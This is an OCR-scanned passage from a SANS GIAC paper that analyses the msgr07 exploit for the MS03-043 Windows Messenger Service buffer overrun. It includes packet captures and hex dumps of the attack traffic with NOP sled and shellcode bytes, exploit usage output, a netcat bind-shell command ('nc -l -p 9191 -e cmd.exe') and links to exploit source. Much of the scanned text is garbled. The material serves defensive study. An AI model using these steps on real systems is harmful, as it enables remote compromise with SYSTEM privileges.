2 0.000231 vmware_bf:38:de Vitware_ee:16:45 ARP 152.168.1.3 is at 00:0¢:29:bf:38:de

3 0.004721 192.168.1.2 5233 192.168.1.3 135 DCERPC  Reguest: seg_num: O ophum: O

4 El s .2 il i

50 e 52 7

& 0,013 hild 1.3 1 -2 DCERPC

7 0.016215 192.168.1.3 1027 192.168.1.2 5233 DCERPC  Response: sedq_num: O ophum: 47078

8 0.084706 152.168.1.2 5233 192.168.1.3 1027 DCERPC  ack: seg_num: O

M T

HFrame 5 (146 bytes on wire, 146 bytes captured)
E Ethernet II, Src: 00:0c:28:e2e:16:45, Dst: 00:0c:29:bf:38:de

E Internet Protocol, sSrc Addr: 192.168.1.2 (192.168.1.20, DsT addr: 192.165.1.3 (192.163.1.3)
H User Datagram Protocol, Src Port: 5233 (5233),. Dst Port: 1032 (10322
DCE RPC
EH DCESRPC Conwersation Manager
operation: who_are_youz (10
hf_cormv_who_are_you2_resp_seq: 0O
hf _cornv_who_are_youZ_resp_casuuid: 44ee?2620-3e6b-48d4-abhz-3%az0d0acdas
Status: SUCCESS (00

[

~ L1

Filter:“ _/j Resetl Apply” File: ethereal
Figure 14

Packets 4 and 5 (Figures 13 and 14) are part of the DCERPC protocol. They are
conversation manager (CONV) packets that provide DCERPC specific information
about the communicating hosts. The CONV packets exchange the Universal Unique
Identifier (UUID) for the Client Address Space (CASUUID). UUIDs are a standard way
to address objects on the Internet. The Client Address Space is an object defined in the
RPC standard that stores the remote address of the client machine. The CONV
packets are somewhat similar to ARP packets in that they help establish communication
parameters between the talking hosts. In our example, the sending host (192.168.1.2)
asks for the CASUUID of the receiving host (192.168.1.3) in packet 4 and the receiving
host replies with a CASUUID of 44ee2620-3e6b-484d-abb2-39a20d0acdab in packet 5.

For more information on the DCERPC protocol see “CDE 1.1: Remote Procedure Call
(Copyright © 1997 The Open Group) Conversation Manager Interface Definition” -
http://www.opengroup.org/onlinepubs/9629399/apdxp.htm

It is important to note here that the port of the computer that received the message
(192.168.1.3) has changed from UDP port 135 (the end point mapper port) to UDP port
1032 and UDP port 1027 in frames 4 through 8. That is because the end point mapper
has done it job. The endpoint mapper listened on UDP port 135 for the initial
communication and then assigned the dynamic ports that the Messenger Service was
really using to talk back to the requesting host.
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@ ethereal - Ethereal g]

File Edit Capture Display Tools Help ‘
Ma. - JTlme ]Bnurce iSrcF'nri IDestmatmn IDESIF’DH ]F'mtucul I\nﬂj
1 0.000000 vmware_se:16:45 Broadcast ARP who has 192.168.1.37 Tell 192.168.1.2
2 0.000231 vmware_bT:38:de Witware_ee:l6:45 ARP 192.168.1.3 i5 at 00:0c:29:bF:38:de
3 0.004721 192.168.1.2 5233 192.168.1.3 135 DCERPC  Request: seg_num: O opnum: O
4 0,007383 192.168.1.3 1032 1%2.168.1.2 5233 CONY comv_who_are_you reguest actuid: 3baldazf-ez
5 0.01L2760 192.168.1.2 5233 192.168.1.3 1032 CONY comv_who_are you2 reply seq:0 stiSUCCESS cas
1
7 0.016215 - g DCERPC  Response: seg_num: O opnum: 47078
B 0.064706 152.168.1.2 5233 1%92.168.1.3 1027 DCERPC  ack: seqg_num:
I~ T -
B Frame & (122 bytes on wire, 122 bytes captured) £
Ethernet II, Src: 00:0c:2%9:bfF:38:de, Dst: 00:0cC:29:ee:16:45
Internet Protocol, Src addr: 192.168.1.3 (1592.165.1.30), Dst addr: 192.168.1.2 (192.163.1.2)
H user Datagram Protocol, src Port: 1032 (10320, DSt Port: 5233 (52330
B DCE RPC
varsion: 4
Packet type: ack (7
EFlagsl: 0x20
Flagsz: 0x00
Data Representation: 100000
Serial High: 0x00
ohject UUID: 00Q000C00-0000-0000-0000-000000000000
Interface: 33332276-0000-0000-0d00-00809C000000
Activity: 9533d314-d9el-4bb%-9550-805c3b0fFc00C
Server boot time: O0x00000000
Interface wver: 3
Seguence num: 0
opnum: 1 | |
Interface Hint: oxffff
activity Hint: oxfFFf
Fragment len: 0 /
|5 1
Q000 00 0c 29 ee 16 45 00 0c 29 bf 38 de 08 00 45 00 =
0010 00 6c 00 a9 00 00 80 11 b6 82 c0 a8 01 03 cO as
0020 01 02 04 08 14 71 00 58 da f9 04 OF 20 00 10 Q0O —
Q030 00 00 Q0 00 00 00 00 00 OO0 Q0 00 00 00 00 00 QO
0040 00 00 FE 22 3a 33 00 00 00 00 Od 00 00 BO 9c 00
0050 00 00 14 d3 33 95 1 d9 b9 4b 96 90 80 5c 3k Of
0060 <O O0c 00 00 00 00 03 00 00 00 00 00 Q0 00 01 OO0
oo7o ffF ff £f £ff o0 00 01 00 00 01
£

Fi\ter:“ jj Reset] Apply” File: ethereal

Figure 15
@ ethereal - Ethereal @
File Edit Capture Display Tools Help I
Mo. . ]Time JSource JSrcF'on IDeslination IDestF‘on ]F'rotocnl ]Info
1 0.000000 vmware_ee:16:45 Eroadcast who has 1%2.168.1.37 Tell 152.168.1.2
2 0.000231 vmware_bf:38:de vmware_ese:16:45 192.168.1.3 is at 00:0c:2%9:bf:38:de
3 0.004721 152.168.1.2 5233 152.168.1.3 135 Reguest: seg_num: O opnum: O
4 0.007383 162.168.1.3 lo32 192.168.1.2 5233 conv_who_are_you reguest actuid: 3baldaz2f-e2
5 0.012760 152.168.1.2 5233 152.168.1.3 1032 conv_who_are_youz2 reply seq:0 st:SUCCESS cas
& 0.0013406 192 3 1032 1592.168.1.2 5233 Ack: segq_num: 0
1
8 0.084706 192, 5233 152.168.1.3 1027 DCERPC  ack: seq_num: 0
(= I =
EFrame 7 (126 bytes on wire, 126 bytes captured) =
Ethernet II, Src: 00:0cC:29:bf:38:de, Dst: 00:0cC:29:ee:l6:45
Internet Protocol, Sre Addr: 192.168.1.3 (192.168.1.3), Dst addr: 192.168.1.2 (192.168.1.2)
@ User Datagram Protocol, Src Port: 1027 (10270, Dst Port: 5233 (52330
B DCE RRPC
version: 4
Packet type: Response (2)
Flagsl: 0Ox08
Flags2: 0Ox00
Data Representation: 100000
serial High: 0x00
object UUID: 000OOOOO-0000-0000-0000-000000000000
Interface: 000DOO75-0078-0000-6800-31036500a103
activity: 3baldazf-e27d-4600-bebd-296b513221bc
server boot Time: ox3fddsozd
Interface ver: 1
Sequence num: O
Cpnum: 47078 W
Interface Hint: Oxffff
Activity Hint: 0x0054
Fragment Tlen: 4 /
] |
0000 00 0c 29 ee 16 45 00 0c 25 bf 38 de 08 00 45 00 =
0010 00 7O 00 aa 00 00 80 11 hé 7d <0 a8 01 03 <0 as
0020 01 02 04 03 14 71 00 5¢  9¢ Sh 04 02 08 00 10 00
Q030 00 00 00 00 00 00 00 00 00 00 00 00 OO0 00 00 00
0040 00 00 75 0D 00 00 78 00 00 OO0 68 00 al 03 &8 00
0050 al 03 2f da al 3b 7d e2 00 46 be b4 29 6b 51 32
0060 21 he 2d 80 d4 3T 0L 00 00 00 OO 00 Q0 00 &5 B7 !
o7 ff ff 54 00 04 00 OO QO QO OO OO0 QO Q0 OO
£
FiIter:“ ‘d Reset] Apply”F\le ethereal
.
Figure 16
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@ ethereal - Ethereal g

File Edit Capture Display Tools Help |
Ma. - JTime ISDurce 1SrcF'ort IDestmation IDestF'ort IF'romcnI I\m’o
1 0.000000 vmware ee:16:45 Eroadcast ARF who has 19%2.168.1.37 Tell 1%92.168.1.2
2 0.000231 vmware_bf:38:de vmware_ee:l6:45 ARF 192.168.1.3 s at 00:0c:29:bf:38:de
3 0.004721 152.168.1.2 5233 152.168.1.3 135 DCERPC  Request: seq_num: O opnum: O
4 0.007383 192.168.1.3 1032 192.168.1.2 5233 CONY corv_who_are_you reguest actuid: 3baldazf-ez
5 0.01l2760 192.168.1.2 5233 3| 1032 CONY comv_who_are_you2 reply seq:0 st:SUCCESS cas
6 0.013406 152.1658.1.3 1032 : sl 5233 DCERPC  Ack: seg_num: O
0 3 1027 2 5233 DCERPC  Response: seg_num: O opnum: 47078
B (.06 55 2 5253 .16 3 1027 Ack: seg_num: O
= | =
HFrame 8 (122 bytes on wire, 122 bytes captured) A
EEthernet II, src: 00:0cC:2%9:ee:16:45, Dst: 00:0cC:29:bF:38:de
EInternet Protocol, src addr: 192.165.1.2 (192.168.1.20, Dst aAddr: 192.165.1.3 (192.168.1.3)
B User Datagram Protocol, Src Port: 5233 (5233), Dst Port: 1027 (10270
Bl DCE RPC
varsion: 4
Packet type: Ack (7
Flagsl: 0x00
Flags2: 0x00
E rata Representation: 100000
serial High: ox00
ohject UUID: 00000C00-0000-0000-0000-000000000000
Interface: 5a7h31f8-Ff00-11d0-a9h2-00c04fhaeafc
Activity: 3baldazf-e27d-4600-bebd-e56kb5132210bc
server hoot time: 0x00000000
Interface ver: 1
Sequence num: o
opnum: © I=
Interface Hint: Oxffff
Activity Hint: 0=x0054
Fragment Ten: 0 /
= 1
0000 00 0c 29 bf 38 de 00 Oc 29 ee 16 45 08 00 45 00 GedEBiie T ey SEy Y
0010 00 6¢c bb 6d 00 00 80 11 fb bd <0 a8 01 02 <0 a8 cllaMlia oiesas
0020 0L 03 14 71 04 03 00 58 68 Th 04 OF 00 00 10 00 N ) o O J
Q030 00 00 Q0 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
0040 00 00 85 91 7b 5a 00 ff do 11 a9 bz 00 c0 4f hé sppeelianer e Q.
0050 26 fc 2f da al 3b 7d 22 0D 46 he b4 &9 &b 51 32 LS Y. JF...kaz
0060 21 bhe 0O 00 00 OO0 O1L 00 00 00 00 00 00 00 00 00 it e
oo7o fF £f 54 00 00 00 01 00 00 01 Ty
I
Fi\ter:“ _/] Reset] Apply“ File: ethereal
Figure 17

Finally, in packets 6, 7, and 8 (Figures 15, 16, and 17), the communication between
each host is acknowledged and the communication session is over. The DCERPC
protocol has to provide its own communications checking because UDP is a
connectionless protocol. It has no mechanism to ensure delivery of a packet, so the
higher layer network protocol (DCERPC in this case) has to provide it.

Note: If NetBIOS over TCP is enabled on both communicating hosts, the Messenger
Service can (and usually does) use an alternative way to communicate between hosts.
Instead of the RPC method describe above, it uses SMB (Server Message Block)
protocol over UDP port 137 and TCP port 139. Since the msg07 exploit uses the RPC
method in its attack, we focus on that method. A good explanation of the SMB method
is described at “Windows Messenger Delivery options: SMB vs. MS RPC” -
http://www.mynetwatchman.com/kb/security/articles/popupspam/netsend.htm.

So we see that in just a few network packets that Messenger Service delivers its
message from the sending host to the target host. But behind the scenes complex
actions take place as networking and operating system software works together to
finally display the message on the screen. Next we will see where the problem lay
within this intricate maze of software interactions that allows an attacker to use the
Messenger Service to gain unauthorized access to the target host.
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Variants

The msgr07 exploit is based on a proof of concept exploit called “DoS Proof of Concept
for MS03-043” written by Hanabishi Recca - recca@mail.ru
(http://downloads.securityfocus.com/vulnerabilities/exploits/MS03-043 poc.c).

Recca’s code has been ported to Linux by VeNoMouS - venom@gen-x.co.nz
(http://downloads.securityfocus.com/vulnerabilities/exploits/ms03-043.c).

Both of these variants result in Denial of Service attacks against the target machine.

Messenger exploit by MrNice is a variant that provides similar functionality to msgr07 for
the French language version of Windows 2000.
(http://downloads.securityfocus.com/vulnerabilities/exploits/MS03-04.W2kFR.c).

Description

In this section we look at the Messenger Service buffer overrun vulnerability and see
why the vulnerability can be exploited by msgrO7. We also look in detail at msgr07 to
see how it operates.

The msgr07 exploit is a ¢ program that can be compiled into an executable program
(msgr07.exe). Both the source code and the complied executable are available for

down load from various security related web sites. Execution of msgr07 results in a
remote command shell on the target host running in the context of the LocalSystem
user account.

Note: See http://downloads.securityfocus.com/vulnerabilities/exploits/msqgr07.c for the
full listing of the msgr07 source code.

Note: msgr07 does not work on every system for reasons we will explore later in the
paper. But when it does not provide a command prompt on the target system, it usually
crashes the target system and causes a denial of service.

Below is Adik’s description of his exploit as he posted it on the Full-Disclosure mailing
list (http://www.mail-archive.com/full-disclosure@lists.netsys.com/msg11295.html):

o From: Adik

o Subject: [Full-Disclosure] [Exploit]: Microsoft Windows Messenger Service Heap Overflow
Exploit (MS03-043)

e Date: Fri, 14 Nov 2003 19:43:21 -0800

Hi fellaz,
grab ur copy of messenger exploit at http://netninja.to.kg :)

Page 20 of 116 — Attacking and Defending SBS 2003
© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.



C:\msgr>msgr07
-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 ]=-

by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg

Target OS version:

[0] Windows 2000 SP 3 (en)
[1] Windows XP SP 1 (en)

Usage: msgr07 [TargetIP] [ver: 0 | 1]
eg: msgr.exe 192.168.63.130 0

C:\msgr>msgr07 192.168.63.1 1
-=[ MS Messenger Service Heap Overflow Exploit (MS03-043) ver 0.7 ]=-

by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.kg

[*] Target: IP: 192.168.63.1 0S: Windows XP SP 1 (en)
[*] UEF: 0x77ed73b4
[*] JMP: 0x7804bf52

[*] WSAStartup initialized...

[*] Msg body size: 3600

[*] Socket initialized...

[*] Injecting packet into a remote process...
[*] Packet injected...

[i] Try connecting to 192.168.63.1:9191

C:\msgr>nc 192.168.63.1 9191 -vv
NETMAN [192.168.63.1] 9191 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Best regards,
Adik mailto: [EMAIL PROTECTED]

Full-Disclosure - We believe in 1it.
Charter: http://lists.netsys.com/full-disclosure—-charter.html
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Messenger Service - What is the vulnerability?

Microsoft Security Bulletin MS03-043 titled “Buffer Overrun in Messenger Service Could
Allow Code Execution (828035)” -
(http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS
03-043.asp) describes the Messenger Service vulnerability this way:

A security vulnerability exists in the Messenger Service that could allow arbitrary code
execution on an affected system. The vulnerability results because the Messenger
Service does not properly validate the length of a message before passing it to the
allocated buffer.

An attacker who successfully exploited this vulnerability could be able to run code with
Local System privileges on an affected system, or could cause the Messenger Service to
fail. The attacker could then take any action on the system, including installing programs,
viewing, changing or deleting data, or creating new accounts with full privileges.

This vulnerability is a classic buffer overrun problem. In this case, a program buffer
used to hold the “message” (“Please logoff by 5:00...” in our example above) is not
properly checked to make sure that the length of the message is not greater than the
length of the program buffer used to store the message. This error by the programmer
of the Messenger Service program means that a malicious program can send a
specially crafted message to the Messenger Service that will insert executable code into
an area of the target machine’s memory and trigger that code to run. As we have seen,
the Messenger Service runs as the LocalSystem user, and the LocalSystem user has
high privileges on the target machine. The successful execution of this exploit results is
a totally compromised system.

Comments in Recca’s original proof of concept exploit source code
(http://downloads.securityfocus.com/vulnerabilities/exploits/MS03-043 poc.c) give us a
clue as to the exact nature of how msgr07 exploits the Messenger Service buffer
overrun vulnerability:

(a character 0x14 in encountered in the 'body’ part of the message, it is replaced by a
CR+LF. The buffer allocated for this operation is twice the size of the string, which is the
way to go, but is then copied to a buffer which was only allocated 11CAh bytes. Thanks
to that, we can bypass the length checks and overflow the fixed size buffer.)

Apparently, the programmer of the Messenger Service did try to prevent a buffer
overrun by creating a buffer for the text message that was more than big enough to hold
the input. But in a later operation, the content of the larger buffer is copied to a buffer
that is not large enough to hold the expanded content. This operation is what results in
the buffer overrun.

But why does the message get expanded? If the message input did not get expanded
by replacing the 0x14 character with CR and LF characters then there would not be a
buffer overrun problem and the msgr07 exploit would not work.
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The 0x14 character (Ox means this is the hex representation of the character) is the
ASCII character Ctrl-T (or AT). Ctrl-T is used in the DOS command processor as a
continuation line. Figure 18 and 19 below is an example of using Ctrl-T in a net send
command:

c Command Prompt

C:wrnet send 278g711 This is a three line message that shows T the use of the Dmm

05 continuwation line <cntl-T>» “T We should see three lines in the popup message
The message was successfully sent to 278G711.

Gaw>

Figure 18

x|

Message from 27835711 to 2786711 on 01/16/2004 2:50:52 PM

This is a three line message that shows
the use of the DOS continuation line {cnkl-T)
We should see three lines in the popup message

Figure 19

We see that Ctrl-T results in a new line being displayed in the pop-up message. The
single Ctrl-T character is expanded by the Messenger Service into two characters, a
Carriage Return (CR) and Line Feed (LF).

According to Recca’s comment, the input buffer to hold the expanded message is twice
big enough to handle the worst case input message (all Ctrl-T’s), but later, in further
processing of the text message, that buffer gets copied to another buffer in memory that
is not big enough to handle the extra characters.

So the exploit sends a message that consists of enough Ctrl-T (0x14) characters to
overrun an internal program buffer. The Ctrl-T characters are followed by the code to
be executed that gives the attacker a command prompt and an instruction to cause that
code to be executed.

Before we run msgr07, let’s outline the program code to see how it will attempt to
compromise the target host.

Adik’s strategy in his exploit code is shown in this comment from the msgrO7 program:

access violation -> unhandledexceptionfilter ->
-> call [esi+48h]/call [edi+6¢ch] (win2kSP3/WinXPSP1) -> longjmp -> shellcode
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msgr07 is going to overrun the Messenger Service memory to set up the following:

1. Use the buffer overrun to load into memory the code (shellcode) necessary to
execute a remote command prompt.

2. Use the buffer overrun to overwrite the system code (unhandledexceptionfilter)
that handles errors when programs attempt to write to protected memory.
Replace the unhandledexceptionfilter code with code that will branch to and
execute the shellcode.

3. Cause a memory access violation to trigger the execution of shellcode.

The shellcode is used to establish a Netcat session that loads a command prompt ready
to receive commands over TCP port 9191. Adik uses what he calls “kyrgyz_bind_code”
in several of his exploits. kyrgyz_bind_code is equivalent to the following Netcat
command:

nc -l-p 9191 -e cmd.exe

This Netcat command (and Adik’s kyrgyz_bind_code) tells the host to listen (-I) on port
9191 (-p 9191) and to execute a command prompt (-e cmd.exe) when a connection is
made.

Note: Netcat is a network utility which reads and writes data across network
connections. See http://netcat.sourceforge.net/ for complete information on Netcat.

Along with shellcode being loaded into memory, Adik loads two additional pieces of
data. The first is code to overwrite and replace the unhandledexceptionfilter pointer with
a pointer to the shellcode. The second is a program call (or jump) pointer to trigger the
protected memory violation that caused unhandledexecptionfilter to execute. These two
pieces of data vary depending on the version of Windows being attacked.

Now let’s run the exploit code and capture the network packets it sends to the target
host.
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=+ Command Prompt

C=wattack>msgrB? 192.168.1.3 1
—=[ M5 Messenger Service Heap Overflow Exploit (MSB3-843)> ver B.7 1=

by Adik < netmaniac [at] hotmail.KG >
http://netninja.to.ky

Target: IP: 192.168.1.3 05%: Windows HP 5P 1 <en)
UEF: Bx?Ped?3b4
JHP: Bx7884bf 52

WEAStartup initialized...

Mzsg body size: 36088

Socket initialized...

Injecting packet into a remote process...
Packet injected...

Try connecting to 192 _168.1.3:9171

C:sattack>_

Figure 20

This command (Figure 20) launches the attack against a Windows XP target host with
IP address of 192.168.1.3. We see the program gives us some nice feedback on what
it is doing. UEF is the address in the target host’'s memory where “unhandled exception
filter” access violations jump. JMP is the instruction code to transfer execution to the
exploit code that will establish the command prompt on the target host. By all
appearances our attack was successful. The target host should be ready to accept a
Netcat session that will open up a command prompt. At the very least, the target host
will crash or become unstable and a Denial of Service attack will be accomplished.
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(@ msgro4attack - Ethereal oy [

File Edit Capture Display Tools Help
MNo. . |Time Source SrcPort |Destination DestPort |Protocol |Info

10 68.1.2 1032 192 1.3 35 0 opnum: 0

2 0.000645 192.168.1.2 192.168.1.3 IP Fragmented IP protocol (proto=upp 0Ox11, off=1480)

3 0.000992 192.168.1.2 192.168.1.3 IP Fragmented IP protocol (proto=UuDP 0Ox1l, off=2960)

=

®EFrame 1 (1514 bytes on wire, 1514 bytes captured)
BEthernet II, Src: 00:0c:29:3e:23:46, Dst: 00:0c:29:bf:3B:de
BInternet Protocel, Src Addr: 192.168.1.2 (192.168.1.2), Dst Addr: 192.168.1.3 (192.168.1.3)
BUser Datagram Protocol, Src Fort: 1032 (1032), Dst Fort: 135 (135)
Source port: 1032 (1032)
Destination port: 135 (135)
Length: 3744
Checksum: 0x009k
BDCE RPC
version: 4

Packet type: Request (0)
EFlagsl: 0x28
EFlags2: 0x00
EData Representation: 100000

serial High: Ox

Object LUID: QO0000Q000-0000-0000-0000-000000000000
Interface: 5a7b9lfE8-ff00-11d0-a%h2-00c04fhbebfc
Activity: 3fdbib6e-6942-68731-6b65-6b32303033FF
Server boot time: 0x00000000

Interface Ver: 1

Sequence num: O

apnum:

Interface Hint: OxfFfff

activity Hint: Oxffff

Fragment len: 3656

Fragment num: O

Auth proto: None (0)

Serial Low: 0x00

Stub data (1392 bytes)

=T

=]

=]

<

=3

=]

k=]

o

=]

=]

=]

<

=3

=]

k=]

o

=]
il

Booa o apaoan 0.
73 68 6b 65 6b 32 30 30 ..n[.?B1 shkek200
3

00d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

i start| (1 - Attack Tooks ...|[ @ msgrodattack - ... MEADTEGOIO zoirm

Figure 21

The first attack packet (Figure 21) is our familiar DCERPC protocol packet to UDP port
135 (the end point mapper listener) generated by the attacking host. There are two
things to notice here. The first is the length of the packet. In the middle Ethereal
window we notice that the length of the UDP packet is 3744 bytes. But the Frame
header tells us that it is transmitting 1514 bytes. What will happen to the other 2230
bytes? The next two packets give us the answer. The IP protocol can “fragment” a
large packet into several smaller packets to fit the frame size. Ethernet has a standard
frame size of 1514 (although this number can vary depending on OS, physical media,
and other factors). So to transmit all 3744 bytes of our attack message, IP breaks the
packet into three parts (1514 + 1514 + 818 = 3846). The 102 byte difference is the
added length of the Frame, Ethernet Il, and IP headers.

The next thing to notice is that we see Adik’s signature in the DCERPC packet. In the
bottom Ethereal window notice “ADIK” and “NETMANIAC” in the data. Adik used these
text stings for the sending host name and target host name that are parameters for the
Messengers Service process. From Adik’s code:

int packet_size,i,fields_size;
char from[] = "NETMANIAC";
char machine[] = "ADIK";
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@ msgro4attack - Ethereal

File Edit Capture Display Tools

_ ol x

Help

|No - ‘Tlme |Source ‘SrcPor‘t ‘Destmat\on |DestPort ‘Protocol ‘Imfo
1 0.000000 192.168.1.2 1032 192.168.1.3 135 DCERFC  Request: seq_num: O opnum: O
45 168.1.2 E] > c 4 =UDP Ox11,

w
H
T

3 0.000992 192.168.1.2 192.168.1.

D roto=uDP 0Ox11,

BFrame 2 (1514 bytes on wire, 1514 bytes captured)
®EEthernet II, Src: 00:0c:29:3e:23:46, Dst: 00:0c:29:bf:38:de
Dst Addr: 192.168.1.3 (192.168.1.33

BInternet Protecel, Src Addr: 192.168.1.2 (192.168.1.2)
Version:
Header length: 20 bytes

EDifferentiated Services Field: 0x00 (DSCP Ox00: ECH: 0x00)

Default;

nt 001f

EFlags: 0x02
Fragment offset:
Time to liwe: 12
Protocol: UDP (0x11)
Header checksum: 0x90e3 (correct)
Source: 192.168.1.2 (192.168.1.2)
Destination: 192.168.1.3 (192.168.1.3)

Data (1480 bwytes)

n:

1480

=

03b0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ........ A

(03c0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

(03d0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

03eC 90 90 14 14 14 14 14 14 14 14 14 14 14 14 14 14

03fc 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0400 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0410 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0420 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0430 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0440 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0450 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0460 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0470 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0480 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

04490 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0420 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

04b0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

04cO 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

04d0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

040 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

040 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0500 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14

0510 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ... ... ..

AE7A VA YA Ta T4 34 14 1A T4 A4 Ga YA T4 TA 34 4 A /

i start| (@1 - Attack Tooks ...|[@) msgroaattack - ... ENGCIH | B attacking and Defe...| (BT OO zoerm
Figure 22

@ msgroaattack - Ethereal =10 x

File Edit Capture Display Tools Help

MNo. . ‘Tlme |Source ‘Sr’cPor‘t ‘Destmat\on |DestF’or‘t ‘Protocol ‘Imfo
1 0.000000 192.168.1.2 1032 192.168.1.3 135 DCERFC Request: seq_num:
2 0.000645 192.168.1.2 192.168.1.3

Fragmented IP protocol
1

0 opnum: O

of

(proto=UDP Ox11,
1

rame 3 (B1lB bytes on wire, B1B bytes captured) S
thernet II, Src: 00:0c:29:3e:23:46, Dst: 00:0c:29:bF:38:de
BInternet Protocol, Src Addr: 192.168.1.2 (192.168.1.2), Dst Addr: 192.168.1.3 (192.168.1.3)
version: 4
Header length: 20 bytes
®BDifferentiated Services Field: 0x00 (Dscp 0x00: Default; ECN: 0x00)
}
Identification: 0x00Lf
mFlags: 0x00
Fragment offset: 2960
Time to liwve: 128
Protocol: UDP (0x11)
Header checksum: Oxb2e2 (correct)
Source: 192.168.1.2 (192.168.1.2)
Destination: 192.168.1.3 (162.168.1.3)
Data (784 bytes)
= T
Uicy 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 19 =
01d0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
01e0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0170 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0200 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0210 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0220 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0230 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0240 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0250 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0260 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0270 90 90 90 90 eb 10 90 90 90 90 90 52 bf 04 78 b4
0280 73 ed 77 90 90 90 90 90 eb 03 58 eb 05 eB f8 ff
0290 ff fF b9 FF £Ff fFf ff Bl e9 7f ee ff ff 2b cl fF
02a0 =0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
02bC0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
02cC 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
02d0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
02eQ 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
02F0 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0300 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0310 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0320 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14
0330 14 00 o 7|
i start] (T xP1 - Attack Tooks ...|[@) msgrodattack - ... 3 EAGCH | B8] attacking and Defe...| [T & OO zosrm

Figure 23
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The next two packets (Figure 22 and 23) show more of the exploit message being
transmitted in two IP fragments. Here we can see the multiple 0x14 (Ctrl-T) characters
that will be used to overrun the Messenger Service buffer on the target host. Also
notice the multiple 0x90 characters. 0x90 is a no-operation (NOP) instruction. These
NOPs make up what is known as a NOP sled (or sometimes called slide). Using a NOP
sled gives the programmer a little leeway in placing executable code into memory.
Placing a NOP sled in front of the executable code means that the programmer does
not have to know the exact address of the executable code. Branching or jumping to
get close enough to hit the NOP sled will result in the executable code being run since
the CPU simply “sleds” through the NOPs till it encounters the executable code.

So at this point the msgr07 exploit program has transmitted the malicious payload to the
target host. If all went well, it has overrun the Messenger Service buffer and the code
necessary to give the attacker a command prompt is loaded and ready to execute.

Next we use Netcat to try to establish a remote command prompt on the target host.
We capture the Netcat session network packets with Ethereal.

e+ Command Prompt

[C-wattack*nc —wv —n 192.168.1.3 9171
CUMKMOWM> [192.168.1.31 2191 <(?): connection refused
lzent @, rcud B: NOTSOCK

IC-wattack>

Figure 24

The Netcat command (Figure 24) shown above attempts to open a connection to our
target host (192.168.1.3) on port 9191. The -n switch tells Netcat to not try a host name
lookup. The -vv switch tells Netcat to execute in verbose mode so we can see all the
results of the connection attempt.

It looks like our Netcat connection was not successful (connection refused). Let’s dig
into the network packets and see what happened.
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(@ netcatattack - Ethereal O] x

File Edit Capture Display Tools Help

‘No - ‘Tlme |Souroe ‘SrcPort |Deslmal\on ‘DeStF’on ‘Protoco\ ‘Info

i
9191 [SvN] Seq=3441773468 Ack=0 win=16384 Len=0

3 0.004466 192.168.1.2 1036 192.168.1.3 9191 TCP 1036 =

4 0.005560 192.168.1.3 9191 192.168.1.2 1036 TCP 9191 » 1036 [RST, ACK] Seq=0 Ack=34417734869 win=0 Len=0
50.517533 192.168.1.2 1036 192.168.1.3 9191 TCP 1036 > 9191 [SYN] Seq=3441773468 Ack=0 win=16384 Len=0
6 0.518147 192.168.1.3 9191 192.168.1.2 1036 TCP 9191 » 1036 [RST, ACK] Seq=0 Ack=34417734869 win=0 Len=0
7 0.946952 192.168.1.2 1036 192.168.1.3 9191 TCP 1036 > 9191 [SYN] Seq=3441773468 Ack=0 win=16384 Len=0
B8 0.947663 192.168.1.3 9191 192.168.1.2 1036 TCP 9191 > 1036 [RST, ACK] Seq=0 Ack=34417734869 win=0 Len=0

BFrame 2 (60 bytes on wire, 60 bytes captured) Bl
BEthernet IIL, Src: 00:0c:29:bf:38:de, Dst: 00:0c:29:3e:23:46
Destination: 00:0c:29:3e:23:46 (Vmware_3e:23:46)
Source: 00:0c:29:bf:38:de (vmware_bf:3iB:de)
